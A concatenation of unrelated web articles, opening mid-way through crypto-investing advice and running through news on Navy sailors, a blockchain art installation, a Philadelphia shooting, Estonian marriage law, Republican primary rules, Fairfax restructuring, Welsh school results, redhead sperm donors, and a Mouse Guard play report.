can no longer (easily) hide and decline to report the fiat profits from their investments. The sovereign citizen argument will not save you from the all-seeing eye of the IRS. In fact, the IRS has already hired a company called Chainalysis to track Bitcoin transactions in an effort to foil would-be tax evaders. Currently, the IRS has classified crypto gains as personal property, subject to long and short-term capital gains taxes. Make sure you consult a crypto knowledgeable CPA and report your gains properly. Also, keep an eye on the evolving securities laws surrounding crypto, particularly Initial Coin Offerings (ICOs). There has been no overall decision yet by the SEC pertaining specifically to the classification of ICOs, though they have written a detailed report concluding that the DAO token sale did qualify as a security. For background on what the DAO was, the ensuing hack, and the SEC decision, click here. Before making the decision to participate in any ICOs make sure you speak with a lawyer and carefully consider any risk you may be assuming. Becoming independently familiar with the Howey Test and the family of related Securities Acts is a great idea for anyone looking to become a more responsible and informed investor. For information on impeding regulatory nightmares, check out the ongoing Bitfinex/Tether debacle (don’t sue me please) and the Tezos lawsuits. Perspective The market skyrockets 200% in a month. Everyone is elated. People are planning their early retirement and picking out their Lambos. Everyone is saying that the market can never crash and gravity doesn’t exist! Suddenly, the bottom seems to fall out of the market. Bitcoin is down 20%. Alts are down 30%. Everyone’s portfolio is red. People are calling it the end of crypto. There is much weeping and gnashing of teeth. Bitcoin is dead for the 218th time. This is a situation that happens every few months, without fail. When this happens, it is crucial to take a step back and breathe. Go hang out with your friends and grab a beer. Zoom the chart out and look at the year-to-date, or at least the last few months. You’ll realize that the current correction is merely a blip on the radar in an otherwise upward trajectory. It’s easy to drive yourself crazy and make emotional decisions if you stare at 30-minute candles for 18 hours a day. Don’t be a weak hand that panic sells, only to buy back higher once the correction is over. Remember, buy low and sell high, not the other way around. Also, though we all know this, it bears repeating that the crypto market has spoiled us. The gains that even bad investors get in the crypto market are better than anything that investors in most traditional markets could ever dream about. Before you get upset about a correction in the market, remember that you are probably still doing much better than if you had put your money in a traditional market. That being said, it is doubtful that 2018 will be as explosive as 2017. There will be fewer stories of 6,500% percent gains. However, there will be extraordinary amounts of money to be made and hopefully, you all take advantage of it! It will be important to keep everything in perspective, from gains to losses and everything in between. We are poised on the edge of a blockchain revolution in many industries. Be smart, stay calm, and make some money. If you’ve made it this far, I applaud your resilience. Before I finally let you go, here are a few other good pieces of advice to remember in 2018: It’s only a loss once you sell. But don’t be afraid to exit unprofitable positions. If you believe in a project, just buy and hold. Very few people make money trading. Don’t try to be a hero. There’s no shame in taking profit. What goes up must come down. And what goes down generally comes back up. Things are never as good as people say they are, and they’re never as bad as people say they are. Do your own research and come to your own conclusions. Relying too heavily on others will burn you and you won’t understand your own investment. Don’t trust anyone else with your money. There is no substitute for good research and understanding of your investment. Fundamental analysis is crucial. Never trade or invest on emotion. As a rule of thumb, don’t buy the all-time high. What goes up will almost always come back down. Only invest what you can afford to lose. Only invest what you can afford to lose. ONLY INVEST WHAT YOU CAN AFFORD TO LOSE. [clickToTweet tweet=”Only invest what you can afford to lose. #bitcoin ” quote=”Only invest what you can afford to lose.”] Remember, this is just my opinion and should not be construed as investment, legal or tax advice. Happy investing! You May Also Like: 5 Real-Life Reasons Millennials Are Drawn to Cryptocurrency -Photo of Information Systems Technician 2nd Class Corey George Ingram, 28, from Poughkeepsie, New York, not displayed to respect the family’s wishes. (Photo by file illustration) Electronics Technician 3rd Class Kenneth Aaron Smith, 22, from Cherry Hill, New Jersey (Photo by courtesy photo) CHANGI NAVAL BASE, Republic of Singapore – U.S Navy and Marine Corps divers recovered and identified remains of 26-year-old USS John S. McCain (DDG 56) Sailor, Electronics Technician 3rd Class Dustin Louis Doyon, of Connecticut, on Thursday night. More divers and equipment arrived overnight to continue search and recovery operations for eight missing Sailors inside flooded compartments of the ship. Earlier Thursday, divers recovered the remains of 22-year-old Electronics Technician 3rd Class Kenneth Aaron Smith from New Jersey. Still missing are: Electronics Technician 1st Class Charles Nathan Findley, 31, from Missouri Interior Communications Electrician 1st Class Abraham Lopez, 39, from Texas Electronics Technician 2nd Class Kevin Sayer Bushell, 26, from Maryland Electronics Technician 2nd Class Jacob Daniel Drake, 21, from Ohio Information Systems Technician 2nd Class Timothy Thomas Eckels Jr., 23, from Maryland Information Systems Technician 2nd Class Corey George Ingram, 28, from New York Electronics Technician 3rd Class John Henry Hoagland III, 20, from Texas Interior Communications Electrician 3rd Class Logan Stephen Palmer, 23, from Illinois The incident is under investigation to determine the facts and circumstances of the collision. -“Modern collectives are confronted with the challenge of creating spatial conditions that enable…the concentration of isolated entities into collective ensembles of cooperation and contemplation. This calls for a new commitment on the part of architecture.” Peter Sloterdijk, “Foam City.” 1 This photo essay is about Foamspace, a temporary and mobile installation built for the 2015 IDEAS City Festival, called The Invisible City, hosted by the New Museum for Contemporary Art, the Storefront for Art and Architecture and the New York City Department of Transportation. Foamspace speculates on the relationship between decentralized infrastructure and the production of the built environment. The installation consisted entirely of a chain of factory-standard Expanded Polystyrene (EPS) geofoam blocks, serving as a visual metaphor for the Bitcoin blockchain: a decentralized and cryptographic public ledger that allows for peer-to-peer monetary settlements without a third party. Echoing philosopher Peter Sloterdijk’s call for architecture to create spatial conditions that enable collective ensembles, this installation offered festival visitors Foamspace Coins—a token of membership for the forming community that could exist on the Bitcoin blockchain as an asset. Foamspace captured and stored value generated during the festival to organize a new community of architects and mobilize this value on another site—producing the next iteration of the project, as well as a symposium and partner event at the inaugural Chicago Architecture Biennial. Mobility, in this case, defined not by any particular architectural form, but by the activity it generated. EPS Geofoam is an omnipresent yet invisible material in our everyday lives—buried beneath the surface of an increasing number of urban projects around the world, from railway and road embankments to retaining walls and amphitheater seating. Weighing approximately one percent of the weight of soil, Geofoam is typically used as a lightweight fill material. In New York, for example, it can be found beneath 1 World Trade Center, Citi Field, Chelsea Pier Park and the New Jersey Turnpike. It makes up the entire foundation of Millennium Park in Chicago. The Foamspace installation was composed of one hundred Geofoam blocks kept at the product’s standard size: 37” x 49.5” x 97.5.” Because the material was unaltered, it could be sold back to the supplier on the secondary-use market—the unaltered “building block” emphasizing the free circulation of physical matter on the emerging market for reused materials. Building on the 2013 IDEAS City Festival theme, “Untapped Capital,” proceeds were funneled back into Foamspace to fund a future project. First introduced by the cryptographic digital currency Bitcoin, the blockchain records all activity on the network in chronological order on a public ledger.. In other words, as a peer-to-peer time stamping technology, it enables cryptocurrency to offer a decentralized and mobile means to track, store and distribute information about economic value and exchange on the Bitcoin network. All transactions on the blockchain are published by and processed through a decentralized network of “miners,” who are in turn rewarded for maintaining the network through their computing power. Spatial and financial tools can be designed to connect to the Bitcoin blockchain. Any organization can issue their own currency and assets, as well as distribute equity and share profits globally to a mobilized and decentralized community. Before the installation of Foamspace, a free digital “wallet” was created. Anyone could sign up for this wallet in order to obtain a unique address and receive a Foamspace Coin, which could then be traded and tracked on the Bitcoin blockchain—serving as a token of membership in the virtual community. Because the blockchain is public, one is able to see the number of coins created, the order in which they were distributed and the amount held by each address. A project wallet was created to hold the most coins and was scripted to automatically send a single Foamspace Coin over the blockchain to new users. The wallet was also scripted to send a small amount of bitcoin to each user without their knowledge in order to cover future transaction fees without requiring users to have or understand Bitcoin to engage in the project. On the day of the festival, the blocks were delivered and installed on the Bowery in front of the New Museum within a tight two-hour deadline. Foamspace community members who helped with the installation were rewarded additional Foamspace Coins to encourage future participation. Information about the platform was disseminated throughout the festival, and the already established digital community amplified content online as it grew. The installation created multiple spaces for exchanging value and cultivating a community. Some blocks created an urban lounge. Others created a performance space, stage, workshop space and information kiosk, as well as smaller installations to support festival events. Foamspace was inspired in part by Superstudio’s Continuous Monument and the work of minimalist sculptor Tony Smith. As an homage to Smith, we replicated his sculpture, Maze—originally described as a labyrinth, not a monument—which consisted of four rectangular blocks arranged in symmetrical opposition to each other. While unseen in everyday life, the blockchain, like the Continuous Monument, is a global megastructure. Foamspace sought to confront the architectural community by displaying this megastructure and provoking conversation about the impact of blockchain technology on the architect’s instruments of service. The value of temporary architecture is that it generates a community, creates buzz and produces images that circulate like currency. And yet all good temporary architecture comes to an end—its value often slips away. The value and price of Foamspace Coin then became proportional to its salience, loaded with the realized installation and the installation yet to come. The project attracted a lot of attention, but only those truly attracted to its idea found value in their Foamspace Coin and participated in the project’s future manifestation. At the end of the festival, the blocks were loaded onto trucks. All undamaged material was sold for sixty percent of its initial price to construction projects that required the fill material, the manufacturer serving as the intermediary. While many projects in the cryptocurrency sphere might launch their work with a “Block Sale”—referring to the initial coins mined or sold on the blockchain—Foamspace, made of architectural materials and spaces, had an actual block sale. The next step of the project ran parallel to a new development in blockchain technology called Ethereum, which enables users to write “smart contracts” among parties—ranging from a conventional contract involving a mortgage to voting systems, reputation protocols, crowd funding and project management. Smart contracts, which are executed automatically and transparently, operate as a programmable world computer. Ethereum, according to Keller Easterling, “hopes to be the place for negotiating almost every kind of commercial, cultural, social, or legal exchange…[it] proposes to replace centralized finance, social networking, law, and governance with a multitude of currencies, communication channels, individual contracts, and decentralized autonomous organizations.” 2 Foamspace’s lack of smart contracts demonstrated its potential and necessity to negotiate and secure agreements between engineering consultants, software developers, teammates and institutions about how the project should proceed. The social capital (of the community organized) and financial value from Foamspace was first mobilized to a rural upstate town, Callicoon, NY, in the summer of 2015. This retreat of sorts, of Foamspace members and students from the Columbia University Graduate School of Architecture, Planning and Preservation, was part of a pneumatic bubble-making workshop led by Jesse Seegers of the Organization for Spatial Practice and financed by the Foamspace fund. Eight 10’x20’x10’ pneumatic constructs were made, which served as the raw material for the next mobilization of value: an installation at the Chicago Architecture Biennale. The Chicago Architecture Biennale installation, entitled The Tropical Mining Station, set out to further explore the implications of blockchain technology and smart contracts on the practice of architecture. The installation captured surplus energy, heat and air from custom-designed Ethereum mining computers, purchased with the funds from the block sale, to create a pneumatic space. These “miners,” which secure the network by solving complex mathematical questions consume an enormous amount of electricity to run at full speed—the installation itself sought to address the spatial effects of heat produced by these computers. It spatialized the decentralized Ethereum network within a single, local space. To build on the community of Foamspace formed in New York, an all day symposium, The Art of Economy, was hosted. The day was organized into two panels: Spatial Politics of the Blockchain and Decentralized Labor Practices and Distributed Production Networks. The value generated from this event continues to be mobilized today—along with the ambition to pursue spatial conditions that enable collective ensembles—in the form of FOAM, a decentralized architecture office. The project will introduce smart contracts to the profession, functioning as a platform for self-initiating and crowd funding architecture projects, distributing shares of equity in the built environment and projecting the security and transparency of the Etherum blockchain. Ryan John King and Ekaterina Zavyalova are entrepreneurs and founding members of FOAM a decentralized architecture office (ĐAO) working to apply blockchain technology to the production of the built environment. http://foam.space/ Project Credits: Foamspace by SecondMedia. Design team: Ryan John King, Ekaterina Zavyalova, Betty Fan and Nikolay Martynov. Project Documentation: Varvara Domnenko. “Pneumatic Bubble Workshop” initated by Ryan John King, Ekaterina Zavyalova and Nick Axel. Led by Jesse Seegers of O.S.P. Participants included members of the Columbia GSAPP student group A-Frame Bill Bodell, Matt Lohry, Violet Whitney, Valérie Lechêne and many more. “Tropical Mining Station” by FOAM. Design Team: Ryan John King, Ekaterina Zavyalova, Nick Axel, Kristoffer Josefsson and Varvara Domnenko Generously hosted by Ann Lui and Criag Reschke of Future Firm. “The Art of Economy” by FOAM. Hosted by Future Firm. Moderated by Nick Axel. Broadcasted and Recorded by The New Centre for Research & Practice. Special thanks for support from the Chicago Architecture Biennale. -A murderer went on a rampage in West Philadelphia last night, killing one woman and wounding several others. The attacker ambushed Philadelphia Police Sergeant Sylvia Young, a 19-year veteran of the force, while sitting in her patrol car. He then went on a spree, shooting at least five others before the attack was stopped. According to Philadelphia-based WPIV News, the attacker shot Sgt. Young eight times, “mostly in the left arm”. The suspect then fled from police on foot, firing shots randomly into the Maximum Level Lounge on Samson Street. He allegedly used a woman as a human shield to protect himself from pursuing officers, shooting her in the leg in the process. After that, the attacker fired more shots into a nearby van, striking a man and a woman. That woman subsequently died of her wounds. Fox News reports that the pursuit ended when two of Philadelphia’s finest assisted by Eddie Miller, a security guard at the University of Pennsylvania, chased the perpetrator into an alley where a shootout ensued. Miller was wounded, the shooter was killed. Philadelphia Police Commissioner Richard Ross is reported as saying that police found a note among the attacker’s possessions stating that he “hated cops and probation officers.” There’s not much more to add to that other than to remember: criminals don’t always need a reason; violent attacks can happen any place, at any time. You don’t need to carry a gun all the time…you just need to have one with you the days you know you’re going to be in a gunfight. Right? -Signup to receive a daily roundup of the top LGBT+ news stories from around the world Estonia has legally recognised the marriage of a gay couple for the first time. On appeal, a court in the country’s capital Tallinn recognised the marriage of a same-sex couple, in a hopeful sign that full marriage equality may not be too far off. A court in the district of Harju refused to enter the marriage between the men, who wed in Sweden, into the civil register. But on appeal, the court ruled in favour of entering the men’s marriage into the register. Judges said in December that there was “nothing in the way” of allowing the men to register themselves as married. As authorities did not appeal, the ruling is final. The couple were then on Tuesday able to finally register themselves as married, LGBT activists and legal experts have said they hope that the ruling will set a precedent paving the way for same-sex marriage to become legal in the Baltic State. The Estonian Parliament back in 2014 narrowly passed legislation to legalise gay civil partnerships. The bill, which recognised civil partnerships of both straight and gay couples, passed with 40 votes to 38. 23 members were absent for the vote. The legislation took effect in 2016, and made Estonia the first former Soviet republic to allow civil partnerships for same-sex couples. -Conservatives, still reeling over the looming nomination of Donald Trump, are pushing new Republican primary rules that might have prevented the mogul’s victory in the first place: shutting out independents and Democrats from helping to pick the GOP nominee. Trump romped in “open primaries” where non-Republicans voted by the thousands and may have influenced the outcome — especially in early states that set the tone of the entire race. Trump’s most successful rival, Ted Cruz, thrived in states with closed primaries where only Republicans were permitted to participate. Story Continued Below Now, Cruz’s allies — hundreds of supportive convention delegates that he helped elect — hope to use the national convention in Cleveland to shove states toward closing their open primaries. And if they’re successful, it will not only go a long way toward warding off a Trump-like candidacy, it will tilt the primary toward conservative candidates in 2020 and beyond. The advocates are finding a sympathetic ear at the very top of the party. Republican National Committee Chairman Reince Priebus has long supported closed primaries, but has never had a constituency to back him on it. "I believe that only Republicans should vote in Republican primaries," he said Friday at a Politico Playbook breakfast event, though he added that he respects the right of states to set their own primary rules. For the conservatives, Trump’s path through the Republican primary is proof that the system needs to change. “We now have a progressive, Trojan horse candidate that manipulated the open primary process to hijack the GOP nomination,” said Kendal Unruh, a Colorado GOP activist, said of Trump. Unruh will sit on the Convention Rules Committee, the panel that will set the terms for the 2020 presidential campaign. Cruz himself is at the forefront of the effort, and he has continued pleading with his delegates to battle their way to the convention and commandeer the rulemaking process that will govern both the July convention and the 2020 presidential election process. In a conference call with his delegates Monday night, Cruz and top campaign adviser Ken Cuccinelli urged them to fight for rules that enhance the power of the party’s grass roots. Choking off Democratic and independent influence from primaries is one way to do that, said Unruh, who was on the call. “We still have a job to do,” she said. Unruh isn’t alone. Her fellow Rules Committee member from Colorado, Guy Short, ripped open primaries as antithetical to GOP interests. “I think we need to start punishing states that have open primaries,” he said. “If you’re not a Republican, then you can wait for the general. Democrats shouldn’t have a role in choosing our nominee.” For years, these arguments have hit resistance from GOP elders and the party insiders who controlled the rulemaking process at conventions past. Closed primaries, they say, are self-defeating; shutting out non-Republicans shrinks the pool of engaged voters and limits the party’s ability to attract new support. But Cruz’s unrivaled organizing and lengthy candidacy helped him recruit hundreds of supportive delegates, and that could upend the calculus and predictability of the process this year. Many are still sore over Trump’s win and wouldn’t mind crossing the presumptive GOP nominee, who now views himself as the leader of the party. “I don’t believe they would be concerned that it would be a slap at Donald Trump,” said one Republican delegate to Cleveland, who also served on the Convention Rules Committee in 2012. A move toward closed primaries would dramatically shift the way the Republican Party chooses its leader. Most states have open primaries or hybrid systems — from permitting crossover voting, to allowing voters to register on-site, while some have no party-based registration at all. Only about a dozen states have closed GOP primaries. Opponents of open primaries are particularly concerned about their prevalence early in the nominating calendar. After losing Iowa’s caucuses, which are only open to registered Republicans, Trump beat rivals in New Hampshire and South Carolina, where Democrats and independents are permitted to cast “crossover” votes. Those victories branded Trump as the candidate to beat and knocked out several other candidates, including Rand Paul, Carly Fiorina and Jeb Bush. Opponents of open primaries are floating a variety of proposals that would shift the balance of power toward states that restrict participation to Republicans. One, which failed at the 2012 convention, would reward closed-primary states with extra convention delegates, enhancing their power over the presidential nominating process. Another would force more closed-primary states to the front of the GOP nominating calendar, ensuring that the early leader of the contest has more GOP buy-in. Supporters of closed primaries say it’s only logical that Republicans get to choose the Republican presidential nominee. Oklahoma GOP Chairwoman Pam Pollard, whose state held the first closed contest of the primary season this year, said open primaries are like inviting the opposing football team to choose your team’s quarterback. Pollard, as a party chair, will be an automatic delegate to the national convention. Some say, however, that the decision should be left to the states, rather than set via a national standard. Rod Lamkey Jr. for POLITICO “Wherever possible, power should flow from the bottom up rather than the top down,” said Morton Blackwell, a Virginia delegate and veteran RNC committeeman. Blackwell supports closed primaries and is pushing for one in Virginia, but he would oppose any effort to force all states to do the same. In 2012, the convention Rules Committee debated a proposal that was even less radical: rewarding states that choose to hold closed primaries with a 10 percent increase in delegates. But that effort, too, was shot down as too coercive. “Isn’t one of our goals of the party to increase our voter registration?” Kurt Criss, Nevada’s Rules Committee member in 2012, argued at the time. “But where do we think these voters come from? They come from other parties.” Henry Barbour, Mississippi’s RNC committeeman and a 2012 Rules Committee member, said at the time “We’re a bottom-up party. And the last thing that we need is the national party trying to tell us … how we’ve got to run our primaries.” If the push for closed primaries fails in 2016, one factor may be the acute fear of appearing to cross Trump, whose dominance in open primaries was a storyline of the campaign. Though he had a handful of victories in closed contests — most notably Nevada’s caucuses, as well as primaries in Arizona and New York — open primaries were where he thrived. “I probably would not advocate for it at this convention,” said Pollard, the Oklahoma GOP chairwoman, a staunch supporter of closed primaries. “I don’t want anyone to think that this issue has anything to do with Trump versus Cruz versus Rubio or anybody else. Things are so sensitive right now.” Pollard added that she hopes the RNC considers rule changes after the convention, when Trump is almost certain to be the official nominee and passions among his Republican opponents may subside. She argues that the ability of the rapid-fire news cycle to winnow the GOP field after just a few early-state contests makes it more pressing than ever to push closed primary states to the front of the calendar. “Forty percent of our candidates dropped out by the fifth primary,” she said. “As Republicans, we do strongly believe in states’ rights. But I think you also need to look at the overall consequences of some of our rules.” -James Sugrue, Tom Kelshaw, Matt Rowley, Gavin Heaton and Katie-Rigg Smith Innovation has supported the massive restructure Fairfax is undergoing that has seen it axe 125 jobs from editorial teams, according to chief revenue officer of Australian metro publishing Matt Rowley. “It’s a real case of innovate or die,” Rowley said, speaking at the AdNews Media + Marketing Summit held in Sydney last week. “If you look at the ways [Fairfax] could go, there’s only one way it’s going to end and we know we can’t go in that direction.” Rowley was speaking on a panel alongside Mindshare CEO Katie-Rigg Smith, Maxus New York director of innovation Tom Kelshaw, AFK founder James Sugrue and Disruptor’s Handbook managing partner Gavin Heaton about the role of innovation as a key driver of growth. “[Fairfax] is on quite a journey. It’s well documented that things began to shift five years ago and as people looked to chase trimming revenue lines with expense lines, we had rounds of cuts,” Rowley said. “Two years ago our board looked at that and said 'we don’t think this is a trend that is going away, so what are we going to do about it and is there a way forward?'” Rowley said the board came to the conclusion that “everything was up for grabs” as Fairfax looked internally at what it could do to remain profitable. As it began to rework its model, which led to significant cost-cutting initiatives, Fairfax was criticised for pivoting to softer news and the future of its integrity was called into question. “You probably saw some headlines questioning our commitment to print, only because all those questions were on the table,” he said. “That culminated and the consultants got pushed out the door last year and that’s when Chris Janz came into the business and really started the process of getting us ready for the future.” Under Janz’s reign, a $30 million editorial restructure was announced, as well as a commercial leadership overhaul that saw the exit of Tom Armstrong. Since the end of last year, Fairfax has been overhauling its product build, including its technology stack and CMS system. Rowley said this is expected to be completed at the end of the year. “In the design of that, we’ve gone right back from scratch and literally said 'what are the drivers of how people want to engage with news media?' and started from the ground up,” Rowley said. The question put to the panel was if innovation was a genuine opportunity or a distracting gimmick. While innovation existed in some parts of Fairfax, Rowley said it was important for Fairfax to build a 50-strong innovation team that could better pool the publisher’s resources and plug them into the business. “It’s one thing to create innovation or buy innovation, it’s another to turn it into something that drives profit. That’s the trick and that’s how you get out of gimmick and falling into the chasm. That’s our approach,” Rowley said. “The appetite is there. It’s always there. The key part is if you can deliver it in a form that can deliver performance and not just be in the end, an expensive fizz.” Have something to say on this? Share your views in the comments section below. Or if you have a news story or tip-off, drop us a line at adnews@yaffa.com.au Sign up to the AdNews newsletter, like us on Facebook or follow us on Twitter for breaking stories and campaigns throughout the day. -Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email Girls outperform boys across all key subjects in each of the first three stages of learning in Welsh schools, new figures have revealed. The Welsh Conservatives have called for an inquiry into Wales’ “frightening” gender attainment gap after figures showed a marked difference in the performance of boys and girls in the Foundation Phase, Key Stage 2 and Key Stage 3. And for the first time since the statistics were introduced in 2012, the difference between boys and girls in the key Foundation Phase Indicator (FPI) has widened. Figures show the percentage of girls achieving the FPI – the expected level for pupils aged seven – has increased every year since 2012, and is now the highest ever at 91.2%. Boys figures But the percentage of boys achieving the benchmark has decreased slightly by 0.1% this year to 83% – the first recorded fall. The percentage of boys achieving the expected outcome or above in the Foundation Phase decreased for all areas of learning from 2015 to 2016. In Key Stage 2, 91.3% of 11-year-old girls achieved expected levels or above in English/Welsh, maths and science (known as the Core Subject Indicator), while only 86.1% of boys did so. A breakdown by subject shows girls also outperformed boys in English, Welsh, maths and science individually – by as much as 5.6%. Key Stage 3 In Key Stage 3, 89.7% of 14-year-olds girls achieved expected outcomes in core subjects this year, which was 7.4% higher than boys. Girls were superior in all disciplines, with boys lagging behind by as much as 8% in English. The gap between boys and girls in Key Stage 3 maths rose from 3.4% in 2015 to 3.8% this year. (Image: Dave Thompson/PA Wire) Conservative skills spokesman Mohammad Asghar said the data painted a “frightening picture of education in Wales” and called for a review of pupil performance. “More research needs to be done to explain why boys are consistently being outperformed by their female classmates,” he said. “The lack of educational attainment has implications beyond the classroom and will undoubtedly impact their competitiveness on the job market in future. “The imbalance is unacceptable and I call on the Cabinet Secretary to launch an inquiry into this matter as soon as possible so that we can once and for all get to the bottom of this.” Expected level Figures show that overall, the percentage of pupils achieving at least the expected level in all subjects in Key Stage 2 and 3 was higher in 2016 than in 2015. But performance was more variable in areas of learning at the end of the Foundation Phase, with declines in the percentage of pupils achieving expected outcomes in language and personal development. Nevertheless, nearly nine in 10 children (87%) reached the expected level in all areas of learning in the Foundation Phase, assessed at the end of Year Two – which was up from 86.8% in 2015 and 80.5% in 2012. 'Progress made' Owen Hathway, policy officer for teachers’ union NUT Cymru, said: “Across the key stages we can see progress being made but obviously it is always important to reflect on where further support can be given to teachers. “We can never expect attainment levels to continue to rise if we are not backing teachers through tackling workload concerns, offering high-quality continued professional development or by ensuring schools are properly resourced. “These statistics are encouraging and a reward for the dedication of teachers and pupils. Hopefully we can ensure a cooperative approach from everyone in the sector to continue to create the best environment for children to succeed.” 'Encouraging' Teacher assessment in the first three stages of learning is an internal way of monitoring standards that came to prominence in Wales following the abolition of Sats – national tests for seven, 11 and 14-year-old pupils – in 2004. Education Secretary Kirsty Williams said: “These are encouraging figures with nearly nine out of 10 pupils achieving the expected outcomes, with the percentage of pupils achieving at least the expected level higher than in 2015 in all subjects in both key stages. “The figures do show a performance gap between boys and girls, which is a matter we do take seriously. “This is a complex issue with a number of possible root causes and is not unique to Wales. “It’s encouraging to see that performance between girls and boys has narrowed for older pupils in most subject, but we recognise this must be addressed further so that all pupils have the best start in life and have the skills and knowledge to succeed in the modern world.” -SPERM donor collection companies are calling for more specimens from ginger haired men. Currently only two per cent of donors are redheads and more women are wanting flame-haired children. Whether it is the attraction to a Prince like Harry or a worldwide music phenomenon like Ed Sheeran, the tide has turned. In 2011 one of the world’s largest sperm banks Cyros International shut the door on gingers as there was not enough interest in having their offspring. But this week Co-ParentMatch.com, an international network of sperm donors, has put out a call for fire-haired men in a bid to meet demand and also to stop the dying out of redheads in the population. They are using the hashtag SaveGingers to draw attention to their pro-ranga campaign. media_camera Currently only two per cent of donors are redheads and more women are wanting flame-haired children. Picture: Tristan Fewings/Getty Images. “Historically red-headed donors have not been popular but we are getting requests for profiles of men with firey hair. People often select a donor because of their heritage, perhaps they have Irish or Scottish ancestry,” Carmel Carrigan of Queensland Fertility Group said. “Donors are rarely chosen on physical attributes alone as education and occupation plays a big part in the decision, Ms Carrigan said. Genetic scientists have warned that redheads are a dying breed and are likely to be extinct within 100 years. Due to the small percentage of redheads in the population it is rare to have two red headed parents which gives a higher chance of a redhaired baby. “A donor with red hair does not guarantee a child with red hair as basically it is a genetic tumble drier,” Brisbane IVF fertility doctor David Molloy said. media_camera Genetic scientists have warned that redheads are a dying breed and are likely to be extinct within 100 years. There is a good chance that Queenslanders with no redheads in their immediate family are carriers of the red-headed gene. Four year old Ariana Miller has a glorious head of red locks but neither of her parents are redheads. “Ariana’s hair colour gets a lot of attention and I think it’s good to be different,” dad Steve Miller from McDowall Brisbane said. -Hello, fellow patrol mice, and welcome to our latest play report! If you recall, we last left our patrol after they had apprehended some seditionists, and escorted them to Lockhaven. While the players had enjoyed that session, I had noticed a few problems with how I was running the game. Namely, I wasn’t; challenging the characters’ beliefs, instincts, and goals; I wasn’t presenting tests which required things the characters weren’t good at; and I was failing to react with interesting twists when the characters failed a test. With all that in mind, I set out to be a bit better about prepping the next mission. Things definitely went better this time, even if we ended up going “off-script.” Fall Back The setup for this mission was fairly straight-forward; the patrol had spent the summer and fall doing the various tasks the Mouse Guard did, while also investigating the insurrection they’d spent the last two seasons uncovering. Now, with fall turning to winter, the patrol had to race back to Lockhaven with some vital intelligence they’d uncovered, before the snows hit and made their return more perilous. I was excited about this setup for a couple of reasons. Firstly, the villain wasn’t something the players could stab; and secondly, it opened the possibility of an abstract conflict against the weather itself, as opposed to a social or martial conflict. This group hasn't had one of those yet, and I was looking forward to seeing how it would work. With the basics established, I constructed a quick flow chart to outline which tests would be presented to the group: “Prep” for session 6, via https://mermaidjs.github.io. I had used a flow chart like this (provided by Adam Koebel) for our first mission, but hadn’t bothered since. That was a mistake. Even if I never used this flow, having a clear outline of where the mission was headed proved invaluable this time around, and I am going to be sure to have one for our subsequent missions. Mission prep done, the group got together and we hashed out the premise, re-affirmed beliefs and instincts, and set new goals. It was here that I realized I would have to change things up. You see, three of my four characters had beliefs or goals centered around physical confrontation; one wanted to become a better fighter; another believed in defending the weak from the strong; and a third echoed that belief. Looking at my characters, it was clear my “Snow Storm” conflict wasn’t going to work. In case you’re just joining this series, my group plays on a very limited time scale, and so we only have enough time for a few “big” encounters a session. No problem — I decided can always put the weather conflict in my bag for another day, and instead resolved to let them fight a big, angry animal; a badger. Now that I had called the audible, it was time to get playing! Weather Witch The session opened with the characters slogging through a cold, torrential rain, which forced a survival test right off the bat. Luckily, the group rolled well, and soon came to a flooded stream — no big deal for you or me, but to a mouse, it might has well have been a real river. The group decided to try and build a makeshift raft, but failed their test. Rather than have them lose their package of intelligence, I instead opted to move them too far down stream to make it to the town they were near, and also to make the helpers angry. The characters took a quick player turn at camp that night, where they tried a few things; one (who is working on their alchemy skill) attempted to brew a soothing tea, with mixed results; another wanted to decipher the evidence they were bringing to Lockhaven; the third tried to cheer himself up out of his bad mood; and the last decided to employ his weather watcher skill to try and give the patrol better weather in the morning. Now, the weather watcher is an interesting one. Essentially, it allows a character to change the weather on a successful test. Mouse Guard provides some options for what the character can change the weather to, with more options if they succeed by a wide margin. There are some caveats in the rules, but this skill is literally a game changer. In this case when the character succeeded, he eliminated the possibility of my “Cold Snap” test. It wasn’t an issue because I quickly came up with a new one (muddy roads), but potential GMs will want to be ready for this skill if they are going to be leaning heavily on the weather and seasons. Once the group got going again (and got through the mud), they encountered the big finale; a hungry, angry badger, burrowing through a nest of some kind and looking for food. The Order of Things Confronted with this new threat, the patrol was divided The patrol leader (Jasper) decided they should bypass the entire scene, since they had important information to get back to Lockhaven with. The other patrol members, however, wanted to fight the creature, and hopefully save whatever animal it was trying to eat. In the end, they decided to go against their orders and attack (I might have forced the issue by describing the badger coming out of the burrow with bits of egg shell on it’s muzzle; defend the weak). While Jasper opted to stay out of the fray, the rest of the mice lept into battle. Now, I need to take a moment here to explain something about fighting in Mouse Guard. In the game, there is a natural order, which dictates what kinds of outcomes any creature can force upon another as the result of a conflict. Generally speaking, the smaller a creature is in relation to its opponent, the less harmful of an outcome it can force. In the case of mice, for example, there are very few things in the game which they can actually kill without an army of some kind. The most they can hope to do with most large animates is to drive it off or hide from it. This was certainly the case with the badger, which compared to a mouse, is a monster. Once I explained the natural order to the players, we set the stakes; the patrol wanted to drive the creature off, and the creature wanted to eat the characters. Stakes established, the conflict was on. Now, the badger is a fairly beefy opponent for a patrol; it has claws which give it bonuses to certain actions, as well as plenty of dice to use for disposition and tests. I was sure it would provide a challenge to the patrol, and had they been less confident with the rules, I’m sure it would have. But this patrol has now done a few physical conflicts, and their understanding of the game mechanics meant they could predict what the badger was going to do, and plan accordlingly. Couple this with some stellar rolling, and the patrol actually made fairly light work of the angry beast! While I was disappointed that hit hadn’t been more challenging, I was proud of the group for handling the mechanics so well. Mouse Guard is a game which places a high value on system mastery, and players who lean into that will find themselves having a more rewarding play experience. I just need to learn to not underestimate my group! Winter is Coming After driving the badger away, the group investigated the remains of the nest. Sadly, most of the eggs had been eaten or crushed, but they did manage to find a single survivor, buried in the dirt. I allowed one of the patrol (Quinn) to learn that it was a turtle’s egg, since she has turtle wise. Excited at the possibility of having a “pet,” the players hauled the egg out and began to make their way to Lockhaven, which they could see in the distance. And that’s a wrap for this mission. Overall, I think it was a better one than some of my recent games — I was able to (mostly) challenge the players, and let the use some skills they hadn’t had the chance to. I also more effectively played to their beliefs, goals and instincts which felt more rewarding for everyone. Our next session will be set during the winter, which means it will be very different, mechanically, than the previous sessions. The game actually has special rules for what happens over the winter, and I’m excited to see it turns out. I hope you enjoyed this write-up, and as always I would love to hear any feedback you might have. Cheers! -Welcome to Mt. Pulaski The City of Mt. Pulaski is a quaint town situated on a slight hill in Central Illinois, overlooking the surrounding acres of productive farmland. Mt. Pulaski is at the 